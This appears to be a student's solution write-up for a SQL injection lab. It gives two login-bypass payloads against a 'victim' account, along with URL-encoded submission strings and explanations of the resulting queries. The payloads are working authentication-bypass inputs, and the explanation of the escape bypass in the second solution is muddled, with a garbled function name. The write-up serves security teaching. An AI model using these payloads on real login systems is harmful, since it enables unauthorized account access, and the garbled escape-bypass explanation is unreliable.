SQL Injection Solutions

Solution 1.0
password entry: ' or ‘1’='1

Result:

Login successful! (victim)

Submit the following line as your solution:

username=victim&password=%27%20or%20%271%27%3D%271

Sql explanation:
This works because of the way MySql verifies passwords.
SELECT * FROM users WHERE name=‘victim’ and password='' or 1='1'
The password condition we have written is always true, so the password verification never happens. This vulnerability comes from certain characters (single or double quotes for example) being treated as commands rather than as part of the string input. If there were no vulnerability, then we would see the incorrect password page upon entering a single quotation vs the Error in MySql entry page that we do see, that shows we can perform and injection.

Solution 1.1

Password entry: “\’ or 1=1 --

Result:

Login successful! (victim)

Submit the following line as your solution:
username=victim&password=%22%5C%27%20or%201%3D1%20—%20

Sql explanation:
SELECT * FROM users WHERE name='victim' and password='"\' or 1=1 — ';
The "\' at the beginning of our entry is treated as a complete string and that allows us to bypass the my_real_escape() function and inject our true value as a password and gain access.
SELECT * FROM users WHERE name='victim' and password='"\' or 1=1 — ';